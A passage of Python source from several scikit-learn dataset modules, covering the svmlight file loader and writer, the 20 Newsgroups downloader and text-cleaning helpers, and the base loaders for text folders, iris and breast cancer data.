    learning to rank problems) so that only pairs with the same
    query_id value are considered.

    This implementation is written in Cython and is reasonably fast.
    However, a faster API-compatible loader is also available at:

      https://github.com/mblondel/svmlight-loader

    Parameters
    ----------
    f : {str, file-like, int}
        (Path to) a file to load. If a path ends in ".gz" or ".bz2", it will
        be uncompressed on the fly. If an integer is passed, it is assumed to
        be a file descriptor. A file-like or file descriptor will not be closed
        by this function. A file-like object must be opened in binary mode.

    n_features : int or None
        The number of features to use. If None, it will be inferred. This
        argument is useful to load several files that are subsets of a
        bigger sliced dataset: each subset might not have examples of
        every feature, hence the inferred shape might vary from one
        slice to another.

    multilabel : boolean, optional, default False
        Samples may have several labels each (see
        http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multilabel.html)

    zero_based : boolean or "auto", optional, default "auto"
        Whether column indices in f are zero-based (True) or one-based
        (False). If column indices are one-based, they are transformed to
        zero-based to match Python/NumPy conventions.
        If set to "auto", a heuristic check is applied to determine this from
        the file contents. Both kinds of files occur "in the wild", but they
        are unfortunately not self-identifying. Using "auto" or True should
        always be safe.

    query_id : boolean, default False
        If True, will return the query_id array for each file.

    dtype : numpy data type, default np.float64
        Data type of dataset to be loaded. This will be the data type of the
        output numpy arrays ``X`` and ``y``.

    Returns
    -------
    X: scipy.sparse matrix of shape (n_samples, n_features)

    y: ndarray of shape (n_samples,), or, in the multilabel a list of
        tuples of length n_samples.

    query_id: array of shape (n_samples,)
       query_id for each sample. Only returned when query_id is set to
       True.

    See also
    --------
    load_svmlight_files: similar function for loading multiple files in this
    format, enforcing the same number of features/columns on all of them.

    Examples
    --------
    To use joblib.Memory to cache the svmlight file::

        from sklearn.externals.joblib import Memory
        from sklearn.datasets import load_svmlight_file
        mem = Memory("./mycache")

        @mem.cache
        def get_data():
            data = load_svmlight_file("mysvmlightfile")
            return data[0], data[1]

        X, y = get_data()
    """
    return tuple(load_svmlight_files([f], n_features, dtype, multilabel,
                                     zero_based, query_id))


def _gen_open(f):
    if isinstance(f, int):  # file descriptor
        return io.open(f, "rb", closefd=False)
    elif not isinstance(f, six.string_types):
        raise TypeError("expected {str, int, file-like}, got %s" % type(f))

    _, ext = os.path.splitext(f)
    if ext == ".gz":
        import gzip
        return gzip.open(f, "rb")
    elif ext == ".bz2":
        from bz2 import BZ2File
        return BZ2File(f, "rb")
    else:
        return open(f, "rb")


def _open_and_load(f, dtype, multilabel, zero_based, query_id):
    if hasattr(f, "read"):
        actual_dtype, data, ind, indptr, labels, query = \
            _load_svmlight_file(f, dtype, multilabel, zero_based, query_id)
    # XXX remove closing when Python 2.7+/3.1+ required
    else:
        with closing(_gen_open(f)) as f:
            actual_dtype, data, ind, indptr, labels, query = \
                _load_svmlight_file(f, dtype, multilabel, zero_based, query_id)

    # convert from array.array, give data the right dtype
    if not multilabel:
        labels = frombuffer_empty(labels, np.float64)
    data = frombuffer_empty(data, actual_dtype)
    indices = frombuffer_empty(ind, np.intc)
    indptr = np.frombuffer(indptr, dtype=np.intc)   # never empty
    query = frombuffer_empty(query, np.int64)

    data = np.asarray(data, dtype=dtype)    # no-op for float{32,64}
    return data, indices, indptr, labels, query


def load_svmlight_files(files, n_features=None, dtype=np.float64,
                        multilabel=False, zero_based="auto", query_id=False):
    """Load dataset from multiple files in SVMlight format

    This function is equivalent to mapping load_svmlight_file over a list of
    files, except that the results are concatenated into a single, flat list
    and the samples vectors are constrained to all have the same number of
    features.

    In case the file contains a pairwise preference constraint (known
    as "qid" in the svmlight format) these are ignored unless the
    query_id parameter is set to True. These pairwise preference
    constraints can be used to constraint the combination of samples
    when using pairwise loss functions (as is the case in some
    learning to rank problems) so that only pairs with the same
    query_id value are considered.

    Parameters
    ----------
    files : iterable over {str, file-like, int}
        (Paths of) files to load. If a path ends in ".gz" or ".bz2", it will
        be uncompressed on the fly. If an integer is passed, it is assumed to
        be a file descriptor. File-likes and file descriptors will not be
        closed by this function. File-like objects must be opened in binary
        mode.

    n_features: int or None
        The number of features to use. If None, it will be inferred from the
        maximum column index occurring in any of the files.

        This can be set to a higher value than the actual number of features
        in any of the input files, but setting it to a lower value will cause
        an exception to be raised.

    multilabel: boolean, optional
        Samples may have several labels each (see
        http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multilabel.html)

    zero_based: boolean or "auto", optional
        Whether column indices in f are zero-based (True) or one-based
        (False). If column indices are one-based, they are transformed to
        zero-based to match Python/NumPy conventions.
        If set to "auto", a heuristic check is applied to determine this from
        the file contents. Both kinds of files occur "in the wild", but they
        are unfortunately not self-identifying. Using "auto" or True should
        always be safe.

    query_id: boolean, defaults to False
        If True, will return the query_id array for each file.

    dtype : numpy data type, default np.float64
        Data type of dataset to be loaded. This will be the data type of the
        output numpy arrays ``X`` and ``y``.

    Returns
    -------
    [X1, y1, ..., Xn, yn]
    where each (Xi, yi) pair is the result from load_svmlight_file(files[i]).

    If query_id is set to True, this will return instead [X1, y1, q1,
    ..., Xn, yn, qn] where (Xi, yi, qi) is the result from
    load_svmlight_file(files[i])

    Notes
    -----
    When fitting a model to a matrix X_train and evaluating it against a
    matrix X_test, it is essential that X_train and X_test have the same
    number of features (X_train.shape[1] == X_test.shape[1]). This may not
    be the case if you load the files individually with load_svmlight_file.

    See also
    --------
    load_svmlight_file
    """
    r = [_open_and_load(f, dtype, multilabel, bool(zero_based), bool(query_id))
         for f in files]

    if (zero_based is False
            or zero_based == "auto" and all(np.min(tmp[1]) > 0 for tmp in r)):
        for ind in r:
            indices = ind[1]
            indices -= 1

    n_f = max(ind[1].max() for ind in r) + 1
    if n_features is None:
        n_features = n_f
    elif n_features < n_f:
        raise ValueError("n_features was set to {},"
                         " but input file contains {} features"
                         .format(n_features, n_f))

    result = []
    for data, indices, indptr, y, query_values in r:
        shape = (indptr.shape[0] - 1, n_features)
        X = sp.csr_matrix((data, indices, indptr), shape)
        X.sort_indices()
        result += X, y
        if query_id:
            result.append(query_values)

    return result


def _dump_svmlight(X, y, f, multilabel, one_based, comment, query_id):
    X_is_sp = int(hasattr(X, "tocsr"))
    y_is_sp = int(hasattr(y, "tocsr"))
    if X.dtype.kind == 'i':
        value_pattern = u("%d:%d")
    else:
        value_pattern = u("%d:%.16g")

    if y.dtype.kind == 'i':
        label_pattern = u("%d")
    else:
        label_pattern = u("%.16g")

    line_pattern = u("%s")
    if query_id is not None:
        line_pattern += u(" qid:%d")
    line_pattern += u(" %s\n")

    if comment:
        f.write(b("# Generated by dump_svmlight_file from scikit-learn %s\n"
                % __version__))
        f.write(b("# Column indices are %s-based\n"
                  % ["zero", "one"][one_based]))

        f.write(b("#\n"))
        f.writelines(b("# %s\n" % line) for line in comment.splitlines())

    for i in range(X.shape[0]):
        if X_is_sp:
            span = slice(X.indptr[i], X.indptr[i + 1])
            row = zip(X.indices[span], X.data[span])
        else:
            nz = X[i] != 0
            row = zip(np.where(nz)[0], X[i, nz])

        s = " ".join(value_pattern % (j + one_based, x) for j, x in row)

        if multilabel:
            if y_is_sp:
                nz_labels = y[i].nonzero()[1]
            else:
                nz_labels = np.where(y[i] != 0)[0]
            labels_str = ",".join(label_pattern % j for j in nz_labels)
        else:
            if y_is_sp:
                labels_str = label_pattern % y.data[i]
            else:
                labels_str = label_pattern % y[i]

        if query_id is not None:
            feat = (labels_str, query_id[i], s)
        else:
            feat = (labels_str, s)

        f.write((line_pattern % feat).encode('ascii'))


def dump_svmlight_file(X, y, f,  zero_based=True, comment=None, query_id=None,
                       multilabel=False):
    """Dump the dataset in svmlight / libsvm file format.

    This format is a text-based format, with one sample per line. It does
    not store zero valued features hence is suitable for sparse dataset.

    The first element of each line can be used to store a target variable
    to predict.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape = [n_samples, n_features]
        Training vectors, where n_samples is the number of samples and
        n_features is the number of features.

    y : {array-like, sparse matrix}, shape = [n_samples (, n_labels)]
        Target values. Class labels must be an
        integer or float, or array-like objects of integer or float for
        multilabel classifications.

    f : string or file-like in binary mode
        If string, specifies the path that will contain the data.
        If file-like, data will be written to f. f should be opened in binary
        mode.

    zero_based : boolean, optional
        Whether column indices should be written zero-based (True) or one-based
        (False).

    comment : string, optional
        Comment to insert at the top of the file. This should be either a
        Unicode string, which will be encoded as UTF-8, or an ASCII byte
        string.
        If a comment is given, then it will be preceded by one that identifies
        the file as having been dumped by scikit-learn. Note that not all
        tools grok comments in SVMlight files.

    query_id : array-like, shape = [n_samples]
        Array containing pairwise preference constraints (qid in svmlight
        format).

    multilabel: boolean, optional
        Samples may have several labels each (see
        http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/multilabel.html)

        .. versionadded:: 0.17
           parameter *multilabel* to support multilabel datasets.
    """
    if comment is not None:
        # Convert comment string to list of lines in UTF-8.
        # If a byte string is passed, then check whether it's ASCII;
        # if a user wants to get fancy, they'll have to decode themselves.
        # Avoid mention of str and unicode types for Python 3.x compat.
        if isinstance(comment, bytes):
            comment.decode("ascii")     # just for the exception
        else:
            comment = comment.encode("utf-8")
        if six.b("\0") in comment:
            raise ValueError("comment string contains NUL byte")

    yval = check_array(y, accept_sparse='csr', ensure_2d=False)
    if sp.issparse(yval):
        if yval.shape[1] != 1 and not multilabel:
            raise ValueError("expected y of shape (n_samples, 1),"
                             " got %r" % (yval.shape,))
    else:
        if yval.ndim != 1 and not multilabel:
            raise ValueError("expected y of shape (n_samples,), got %r"
                             % (yval.shape,))

    Xval = check_array(X, accept_sparse='csr')
    if Xval.shape[0] != yval.shape[0]:
        raise ValueError("X.shape[0] and y.shape[0] should be the same, got"
                         " %r and %r instead." % (Xval.shape[0], yval.shape[0]))

    # We had some issues with CSR matrices with unsorted indices (e.g. #1501),
    # so sort them here, but first make sure we don't modify the user's X.
    # TODO We can do this cheaper; sorted_indices copies the whole matrix.
    if yval is y and hasattr(yval, "sorted_indices"):
        y = yval.sorted_indices()
    else:
        y = yval
        if hasattr(y, "sort_indices"):
            y.sort_indices()

    if Xval is X and hasattr(Xval, "sorted_indices"):
        X = Xval.sorted_indices()
    else:
        X = Xval
        if hasattr(X, "sort_indices"):
            X.sort_indices()

    if query_id is not None:
        query_id = np.asarray(query_id)
        if query_id.shape[0] != y.shape[0]:
            raise ValueError("expected query_id of shape (n_samples,), got %r"
                             % (query_id.shape,))

    one_based = not zero_based

    if hasattr(f, "write"):
        _dump_svmlight(X, y, f, multilabel, one_based, comment, query_id)
    else:
        with open(f, "wb") as f:
            _dump_svmlight(X, y, f, multilabel, one_based, comment, query_id)






"""Caching loader for the 20 newsgroups text classification dataset


The description of the dataset is available on the official website at:

    http://people.csail.mit.edu/jrennie/20Newsgroups/

Quoting the introduction:

    The 20 Newsgroups data set is a collection of approximately 20,000
    newsgroup documents, partitioned (nearly) evenly across 20 different
    newsgroups. To the best of my knowledge, it was originally collected
    by Ken Lang, probably for his Newsweeder: Learning to filter netnews
    paper, though he does not explicitly mention this collection. The 20
    newsgroups collection has become a popular data set for experiments
    in text applications of machine learning techniques, such as text
    classification and text clustering.

This dataset loader will download the recommended "by date" variant of the
dataset and which features a point in time split between the train and
test sets. The compressed dataset size is around 14 Mb compressed. Once
uncompressed the train set is 52 MB and the test set is 34 MB.

The data is downloaded, extracted and cached in the '~/scikit_learn_data'
folder.

The `fetch_20newsgroups` function will not vectorize the data into numpy
arrays but the dataset lists the filenames of the posts and their categories
as target labels.

The `fetch_20newsgroups_vectorized` function will in addition do a simple
tf-idf vectorization step.

"""
# Copyright (c) 2011 Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

import os
import logging
import tarfile
import pickle
import shutil
import re
import codecs

import numpy as np
import scipy.sparse as sp

from .base import get_data_home
from .base import Bunch
from .base import load_files
from .base import _pkl_filepath
from ..utils import check_random_state
from ..feature_extraction.text import CountVectorizer
from ..preprocessing import normalize
from ..externals import joblib, six

if six.PY3:
    from urllib.request import urlopen
else:
    from urllib2 import urlopen


logger = logging.getLogger(__name__)


URL = ("http://people.csail.mit.edu/jrennie/"
       "20Newsgroups/20news-bydate.tar.gz")
ARCHIVE_NAME = "20news-bydate.tar.gz"
CACHE_NAME = "20news-bydate.pkz"
TRAIN_FOLDER = "20news-bydate-train"
TEST_FOLDER = "20news-bydate-test"


def download_20newsgroups(target_dir, cache_path):
    """Download the 20 newsgroups data and stored it as a zipped pickle."""
    archive_path = os.path.join(target_dir, ARCHIVE_NAME)
    train_path = os.path.join(target_dir, TRAIN_FOLDER)
    test_path = os.path.join(target_dir, TEST_FOLDER)

    if not os.path.exists(target_dir):
        os.makedirs(target_dir)

    if os.path.exists(archive_path):
        # Download is not complete as the .tar.gz file is removed after
        # download.
        logger.warning("Download was incomplete, downloading again.")
        os.remove(archive_path)

    logger.warning("Downloading dataset from %s (14 MB)", URL)
    opener = urlopen(URL)
    with open(archive_path, 'wb') as f:
        f.write(opener.read())

    logger.info("Decompressing %s", archive_path)
    tarfile.open(archive_path, "r:gz").extractall(path=target_dir)
    os.remove(archive_path)

    # Store a zipped pickle
    cache = dict(train=load_files(train_path, encoding='latin1'),
                 test=load_files(test_path, encoding='latin1'))
    compressed_content = codecs.encode(pickle.dumps(cache), 'zlib_codec')
    with open(cache_path, 'wb') as f:
        f.write(compressed_content)

    shutil.rmtree(target_dir)
    return cache


def strip_newsgroup_header(text):
    """
    Given text in "news" format, strip the headers, by removing everything
    before the first blank line.
    """
    _before, _blankline, after = text.partition('\n\n')
    return after


_QUOTE_RE = re.compile(r'(writes in|writes:|wrote:|says:|said:'
                       r'|^In article|^Quoted from|^\||^>)')


def strip_newsgroup_quoting(text):
    """
    Given text in "news" format, strip lines beginning with the quote
    characters > or |, plus lines that often introduce a quoted section
    (for example, because they contain the string 'writes:'.)
    """
    good_lines = [line for line in text.split('\n')
                  if not _QUOTE_RE.search(line)]
    return '\n'.join(good_lines)


def strip_newsgroup_footer(text):
    """
    Given text in "news" format, attempt to remove a signature block.

    As a rough heuristic, we assume that signatures are set apart by either
    a blank line or a line made of hyphens, and that it is the last such line
    in the file (disregarding blank lines at the end).
    """
    lines = text.strip().split('\n')
    for line_num in range(len(lines) - 1, -1, -1):
        line = lines[line_num]
        if line.strip().strip('-') == '':
            break

    if line_num > 0:
        return '\n'.join(lines[:line_num])
    else:
        return text


def fetch_20newsgroups(data_home=None, subset='train', categories=None,
                       shuffle=True, random_state=42,
                       remove=(),
                       download_if_missing=True):
    """Load the filenames and data from the 20 newsgroups dataset.

    Read more in the :ref:`User Guide <20newsgroups>`.

    Parameters
    ----------
    subset: 'train' or 'test', 'all', optional
        Select the dataset to load: 'train' for the training set, 'test'
        for the test set, 'all' for both, with shuffled ordering.

    data_home: optional, default: None
        Specify a download and cache folder for the datasets. If None,
        all scikit-learn data is stored in '~/scikit_learn_data' subfolders.

    categories: None or collection of string or unicode
        If None (default), load all the categories.
        If not None, list of category names to load (other categories
        ignored).

    shuffle: bool, optional
        Whether or not to shuffle the data: might be important for models that
        make the assumption that the samples are independent and identically
        distributed (i.i.d.), such as stochastic gradient descent.

    random_state: numpy random number generator or seed integer
        Used to shuffle the dataset.

    download_if_missing: optional, True by default
        If False, raise an IOError if the data is not locally available
        instead of trying to download the data from the source site.

    remove: tuple
        May contain any subset of ('headers', 'footers', 'quotes'). Each of
        these are kinds of text that will be detected and removed from the
        newsgroup posts, preventing classifiers from overfitting on
        metadata.

        'headers' removes newsgroup headers, 'footers' removes blocks at the
        ends of posts that look like signatures, and 'quotes' removes lines
        that appear to be quoting another post.

        'headers' follows an exact standard; the other filters are not always
        correct.
    """

    data_home = get_data_home(data_home=data_home)
    cache_path = _pkl_filepath(data_home, CACHE_NAME)
    twenty_home = os.path.join(data_home, "20news_home")
    cache = None
    if os.path.exists(cache_path):
        try:
            with open(cache_path, 'rb') as f:
                compressed_content = f.read()
            uncompressed_content = codecs.decode(
                compressed_content, 'zlib_codec')
            cache = pickle.loads(uncompressed_content)
        except Exception as e:
            print(80 * '_')
            print('Cache loading failed')
            print(80 * '_')
            print(e)

    if cache is None:
        if download_if_missing:
            logger.info("Downloading 20news dataset. "
                        "This may take a few minutes.")
            cache = download_20newsgroups(target_dir=twenty_home,
                                          cache_path=cache_path)
        else:
            raise IOError('20Newsgroups dataset not found')

    if subset in ('train', 'test'):
        data = cache[subset]
    elif subset == 'all':
        data_lst = list()
        target = list()
        filenames = list()
        for subset in ('train', 'test'):
            data = cache[subset]
            data_lst.extend(data.data)
            target.extend(data.target)
            filenames.extend(data.filenames)

        data.data = data_lst
        data.target = np.array(target)
        data.filenames = np.array(filenames)
    else:
        raise ValueError(
            "subset can only be 'train', 'test' or 'all', got '%s'" % subset)

    data.description = 'the 20 newsgroups by date dataset'

    if 'headers' in remove:
        data.data = [strip_newsgroup_header(text) for text in data.data]
    if 'footers' in remove:
        data.data = [strip_newsgroup_footer(text) for text in data.data]
    if 'quotes' in remove:
        data.data = [strip_newsgroup_quoting(text) for text in data.data]

    if categories is not None:
        labels = [(data.target_names.index(cat), cat) for cat in categories]
        # Sort the categories to have the ordering of the labels
        labels.sort()
        labels, categories = zip(*labels)
        mask = np.in1d(data.target, labels)
        data.filenames = data.filenames[mask]
        data.target = data.target[mask]
        # searchsorted to have continuous labels
        data.target = np.searchsorted(labels, data.target)
        data.target_names = list(categories)
        # Use an object array to shuffle: avoids memory copy
        data_lst = np.array(data.data, dtype=object)
        data_lst = data_lst[mask]
        data.data = data_lst.tolist()

    if shuffle:
        random_state = check_random_state(random_state)
        indices = np.arange(data.target.shape[0])
        random_state.shuffle(indices)
        data.filenames = data.filenames[indices]
        data.target = data.target[indices]
        # Use an object array to shuffle: avoids memory copy
        data_lst = np.array(data.data, dtype=object)
        data_lst = data_lst[indices]
        data.data = data_lst.tolist()

    return data


def fetch_20newsgroups_vectorized(subset="train", remove=(), data_home=None):
    """Load the 20 newsgroups dataset and transform it into tf-idf vectors.

    This is a convenience function; the tf-idf transformation is done using the
    default settings for `sklearn.feature_extraction.text.Vectorizer`. For more
    advanced usage (stopword filtering, n-gram extraction, etc.), combine
    fetch_20newsgroups with a custom `Vectorizer` or `CountVectorizer`.

    Read more in the :ref:`User Guide <20newsgroups>`.

    Parameters
    ----------

    subset: 'train' or 'test', 'all', optional
        Select the dataset to load: 'train' for the training set, 'test'
        for the test set, 'all' for both, with shuffled ordering.

    data_home: optional, default: None
        Specify an download and cache folder for the datasets. If None,
        all scikit-learn data is stored in '~/scikit_learn_data' subfolders.

    remove: tuple
        May contain any subset of ('headers', 'footers', 'quotes'). Each of
        these are kinds of text that will be detected and removed from the
        newsgroup posts, preventing classifiers from overfitting on
        metadata.

        'headers' removes newsgroup headers, 'footers' removes blocks at the
        ends of posts that look like signatures, and 'quotes' removes lines
        that appear to be quoting another post.

    Returns
    -------

    bunch : Bunch object
        bunch.data: sparse matrix, shape [n_samples, n_features]
        bunch.target: array, shape [n_samples]
        bunch.target_names: list, length [n_classes]
    """
    data_home = get_data_home(data_home=data_home)
    filebase = '20newsgroup_vectorized'
    if remove:
        filebase += 'remove-' + ('-'.join(remove))
    target_file = _pkl_filepath(data_home, filebase + ".pkl")

    # we shuffle but use a fixed seed for the memoization
    data_train = fetch_20newsgroups(data_home=data_home,
                                    subset='train',
                                    categories=None,
                                    shuffle=True,
                                    random_state=12,
                                    remove=remove)

    data_test = fetch_20newsgroups(data_home=data_home,
                                   subset='test',
                                   categories=None,
                                   shuffle=True,
                                   random_state=12,
                                   remove=remove)

    if os.path.exists(target_file):
        X_train, X_test = joblib.load(target_file)
    else:
        vectorizer = CountVectorizer(dtype=np.int16)
        X_train = vectorizer.fit_transform(data_train.data).tocsr()
        X_test = vectorizer.transform(data_test.data).tocsr()
        joblib.dump((X_train, X_test), target_file, compress=9)

    # the data is stored as int16 for compactness
    # but normalize needs floats
    X_train = X_train.astype(np.float64)
    X_test = X_test.astype(np.float64)
    normalize(X_train, copy=False)
    normalize(X_test, copy=False)

    target_names = data_train.target_names

    if subset == "train":
        data = X_train
        target = data_train.target
    elif subset == "test":
        data = X_test
        target = data_test.target
    elif subset == "all":
        data = sp.vstack((X_train, X_test)).tocsr()
        target = np.concatenate((data_train.target, data_test.target))
    else:
        raise ValueError("%r is not a valid subset: should be one of "
                         "['train', 'test', 'all']" % subset)

    return Bunch(data=data, target=target, target_names=target_names)






"""
Base IO code for all datasets
"""

# Copyright (c) 2007 David Cournapeau <cournape@gmail.com>
#               2010 Fabian Pedregosa <fabian.pedregosa@inria.fr>
#               2010 Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

import os
import csv
import sys
import shutil
from os import environ
from os.path import dirname
from os.path import join
from os.path import exists
from os.path import expanduser
from os.path import isdir
from os.path import splitext
from os import listdir
from os import makedirs

import numpy as np

from ..utils import check_random_state


class Bunch(dict):
    """Container object for datasets

    Dictionary-like object that exposes its keys as attributes.

    >>> b = Bunch(a=1, b=2)
    >>> b['b']
    2
    >>> b.b
    2
    >>> b.a = 3
    >>> b['a']
    3
    >>> b.c = 6
    >>> b['c']
    6

    """

    def __init__(self, **kwargs):
        super(Bunch, self).__init__(kwargs)

    def __setattr__(self, key, value):
        self[key] = value

    def __dir__(self):
        return self.keys()

    def __getattr__(self, key):
        try:
            return self[key]
        except KeyError:
            raise AttributeError(key)

    def __setstate__(self, state):
        # Bunch pickles generated with scikit-learn 0.16.* have an non
        # empty __dict__. This causes a surprising behaviour when
        # loading these pickles scikit-learn 0.17: reading bunch.key
        # uses __dict__ but assigning to bunch.key use __setattr__ and
        # only changes bunch['key']. More details can be found at:
        # https://github.com/scikit-learn/scikit-learn/issues/6196.
        # Overriding __setstate__ to be a noop has the effect of
        # ignoring the pickled __dict__
        pass


def get_data_home(data_home=None):
    """Return the path of the scikit-learn data dir.

    This folder is used by some large dataset loaders to avoid
    downloading the data several times.

    By default the data dir is set to a folder named 'scikit_learn_data'
    in the user home folder.

    Alternatively, it can be set by the 'SCIKIT_LEARN_DATA' environment
    variable or programmatically by giving an explicit folder path. The
    '~' symbol is expanded to the user home folder.

    If the folder does not already exist, it is automatically created.
    """
    if data_home is None:
        data_home = environ.get('SCIKIT_LEARN_DATA',
                                join('~', 'scikit_learn_data'))
    data_home = expanduser(data_home)
    if not exists(data_home):
        makedirs(data_home)
    return data_home


def clear_data_home(data_home=None):
    """Delete all the content of the data home cache."""
    data_home = get_data_home(data_home)
    shutil.rmtree(data_home)


def load_files(container_path, description=None, categories=None,
               load_content=True, shuffle=True, encoding=None,
               decode_error='strict', random_state=0):
    """Load text files with categories as subfolder names.

    Individual samples are assumed to be files stored a two levels folder
    structure such as the following:

        container_folder/
            category_1_folder/
                file_1.txt
                file_2.txt
                ...
                file_42.txt
            category_2_folder/
                file_43.txt
                file_44.txt
                ...

    The folder names are used as supervised signal label names. The
    individual file names are not important.

    This function does not try to extract features into a numpy array or
    scipy sparse matrix. In addition, if load_content is false it
    does not try to load the files in memory.

    To use text files in a scikit-learn classification or clustering
    algorithm, you will need to use the `sklearn.feature_extraction.text`
    module to build a feature extraction transformer that suits your
    problem.

    If you set load_content=True, you should also specify the encoding of
    the text using the 'encoding' parameter. For many modern text files,
    'utf-8' will be the correct encoding. If you leave encoding equal to None,
    then the content will be made of bytes instead of Unicode, and you will
    not be able to use most functions in `sklearn.feature_extraction.text`.

    Similar feature extractors should be built for other kind of unstructured
    data input such as images, audio, video, ...

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    container_path : string or unicode
        Path to the main folder holding one subfolder per category

    description: string or unicode, optional (default=None)
        A paragraph describing the characteristic of the dataset: its source,
        reference, etc.

    categories : A collection of strings or None, optional (default=None)
        If None (default), load all the categories.
        If not None, list of category names to load (other categories ignored).

    load_content : boolean, optional (default=True)
        Whether to load or not the content of the different files. If
        true a 'data' attribute containing the text information is present
        in the data structure returned. If not, a filenames attribute
        gives the path to the files.

    encoding : string or None (default is None)
        If None, do not try to decode the content of the files (e.g. for
        images or other non-text content).
        If not None, encoding to use to decode text files to Unicode if
        load_content is True.

    decode_error: {'strict', 'ignore', 'replace'}, optional
        Instruction on what to do if a byte sequence is given to analyze that
        contains characters not of the given `encoding`. Passed as keyword
        argument 'errors' to bytes.decode.

    shuffle : bool, optional (default=True)
        Whether or not to shuffle the data: might be important for models that
        make the assumption that the samples are independent and identically
        distributed (i.i.d.), such as stochastic gradient descent.

    random_state : int, RandomState instance or None, optional (default=0)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are: either
        data, the raw text data to learn, or 'filenames', the files
        holding it, 'target', the classification labels (integer index),
        'target_names', the meaning of the labels, and 'DESCR', the full
        description of the dataset.
    """
    target = []
    target_names = []
    filenames = []

    folders = [f for f in sorted(listdir(container_path))
               if isdir(join(container_path, f))]

    if categories is not None:
        folders = [f for f in folders if f in categories]

    for label, folder in enumerate(folders):
        target_names.append(folder)
        folder_path = join(container_path, folder)
        documents = [join(folder_path, d)
                     for d in sorted(listdir(folder_path))]
        target.extend(len(documents) * [label])
        filenames.extend(documents)

    # convert to array for fancy indexing
    filenames = np.array(filenames)
    target = np.array(target)

    if shuffle:
        random_state = check_random_state(random_state)
        indices = np.arange(filenames.shape[0])
        random_state.shuffle(indices)
        filenames = filenames[indices]
        target = target[indices]

    if load_content:
        data = []
        for filename in filenames:
            with open(filename, 'rb') as f:
                data.append(f.read())
        if encoding is not None:
            data = [d.decode(encoding, decode_error) for d in data]
        return Bunch(data=data,
                     filenames=filenames,
                     target_names=target_names,
                     target=target,
                     DESCR=description)

    return Bunch(filenames=filenames,
                 target_names=target_names,
                 target=target,
                 DESCR=description)


def load_iris(return_X_y=False):
    """Load and return the iris dataset (classification).

    The iris dataset is a classic and very easy multi-class classification
    dataset.

    =================   ==============
    Classes                          3
    Samples per class               50
    Samples total                  150
    Dimensionality                   4
    Features            real, positive
    =================   ==============

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    return_X_y : boolean, default=False.
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn, 'target', the classification labels,
        'target_names', the meaning of the labels, 'feature_names', the
        meaning of the features, and 'DESCR', the
        full description of the dataset.

    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18

    Examples
    --------
    Let's say you are interested in the samples 10, 25, and 50, and want to
    know their class name.

    >>> from sklearn.datasets import load_iris
    >>> data = load_iris()
    >>> data.target[[10, 25, 50]]
    array([0, 0, 1])
    >>> list(data.target_names)
    ['setosa', 'versicolor', 'virginica']
    """
    module_path = dirname(__file__)
    with open(join(module_path, 'data', 'iris.csv')) as csv_file:
        data_file = csv.reader(csv_file)
        temp = next(data_file)
        n_samples = int(temp[0])
        n_features = int(temp[1])
        target_names = np.array(temp[2:])
        data = np.empty((n_samples, n_features))
        target = np.empty((n_samples,), dtype=np.int)

        for i, ir in enumerate(data_file):
            data[i] = np.asarray(ir[:-1], dtype=np.float64)
            target[i] = np.asarray(ir[-1], dtype=np.int)

    with open(join(module_path, 'descr', 'iris.rst')) as rst_file:
        fdescr = rst_file.read()

    if return_X_y:
        return data, target

    return Bunch(data=data, target=target,
                 target_names=target_names,
                 DESCR=fdescr,
                 feature_names=['sepal length (cm)', 'sepal width (cm)',
                                'petal length (cm)', 'petal width (cm)'])


def load_breast_cancer(return_X_y=False):
    """Load and return the breast cancer wisconsin dataset (classification).

    The breast cancer dataset is a classic and very easy binary classification
    dataset.

    =================   ==============
    Classes                          2
    Samples per class    212(M),357(B)
    Samples total                  569
    Dimensionality                  30
    Features            real, positive
    =================   ==============

    Parameters
    ----------
    return_X_y : boolean, default=False
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn, 'target', the classification labels,
        'target_names', the meaning of the labels, 'feature_names', the
        meaning of the features, and 'DESCR', the
        full description of the dataset.

    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18

    The copy of UCI ML Breast Cancer Wisconsin (Diagnostic) dataset is
    downloaded from:
    https://goo.gl/U2Uwz2

    Examples
    --------
    Let's say you are interested in the samples 10, 50, and 85, and want to
    know their class name.

    >>> from sklearn.datasets import load_breast_cancer
    >>> data = load_breast_cancer()
    >>> data.target[[10, 50, 85]]
    array([0, 1, 0])
    >>> list(data.target_names)
    ['malignant', 'benign']
    """
    module_path = dirname(__file__)
    with open(join(module_path, 'data', 'breast_cancer.csv')) as csv_file:
        data_file = csv.reader(csv_file)
        first_line = next(data_file)
        n_samples = int(first_line[0])
        n_features = int(first_line[1])
        target_names = np.array(first_line[2:4])
        data = np.empty((n_samples, n_features))
        target = np.empty((n_samples,), dtype=np.int)

        for count, value in enumerate(data_file):
            data[count] = np.asarray(value[:-1], dtype=np.float64)
            target[count] = np.asarray(value[-1], dtype=np.int)

    with open(join(module_path, 'descr', 'breast_cancer.rst')) as rst_file:
        fdescr = rst_file.read()

    feature_names = np.array(['mean radius', 'mean texture',
                              'mean perimeter', 'mean area',
                              'mean smoothness', 'mean compactness',
                              'mean concavity', 'mean concave points',
                              'mean symmetry', 'mean fractal dimension',
                              'radius error', 'texture error',
                              'perimeter error', 'area error',
                              'smoothness error', 'compactness error',
                              'concavity error', 'concave points error',
                              'symmetry error', 'fractal dimension error',
                              'worst radius', 'worst texture',
                              'worst perimeter', 'worst area',
                              'worst smoothness', 'worst compactness',
                              'worst concavity', 'worst concave points',
                              'worst symmetry', 'worst fractal dimension'])

    if return_X_y:
        return data, target

    return Bunch(data=data, target=target,
